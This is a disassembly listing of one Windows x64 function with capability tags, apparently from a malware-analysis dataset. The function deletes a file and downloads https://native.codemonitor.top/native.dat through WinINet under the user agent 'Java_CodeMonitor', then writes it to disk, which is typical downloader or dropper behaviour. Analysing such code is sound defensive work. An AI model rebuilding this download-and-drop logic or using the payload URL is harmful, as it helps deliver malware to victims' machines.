Function at 0x140008140
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x570
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x560], rax
mov rbp, r8
mov ecx, 0x18
call fcn.1400098d0
mov rbx, rax
mov qword [rsp + 0x158], rax
xor edi, edi
test rax, rax
je 0x1400081aa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], rdi
mov dword [rbx + 0x10], 1
mov rcx, rbp
call fcn.14000a8d0
mov qword [rbx], rax
jmp 0x1400081ad
mov rbx, rdi
mov qword [rsp + 0x158], rbx
test rbx, rbx
je 0x1400083c8
mov rsi, qword [rbx + 8]
test rsi, rsi
jne 0x1400081d6
mov rcx, qword [rbx]
call fcn.14000a7b0
mov rsi, rax
mov qword [rbx + 8], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.140005f70
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
test al, al
je 0x140008219
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Java_CodeMonitor
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x140008315
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__native.codemonitor.top_native.dat
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x14000830c
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140008303
lea r9, [rsp + 0x150]
mov r8d, 0x400
lea rdx, [rsp + 0x160]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400082fa
mov r8d, dword [rsp + 0x150]
test r8d, r8d
je 0x1400082fa
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x158]
lea rdx, [rsp + 0x160]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x150], 0
ja 0x1400082a2
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x50]
call fcn.140005b00
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov eax, 0xffffffff
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1400083a0
mov rcx, qword [rbx]
test rcx, rcx
je 0x140008381
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], rdi
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140008393
call fcn.1400099dc
mov qword [rbx + 8], rdi
mov edx, 0x18
mov rcx, rbx
call fcn.1400099dc
mov rcx, qword [rsp + 0x560]
xor rcx, rsp
call fcn.1400098b0
lea r11, [rsp + 0x570]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov ecx, 0x8007000e
call fcn.14000a7a0
int3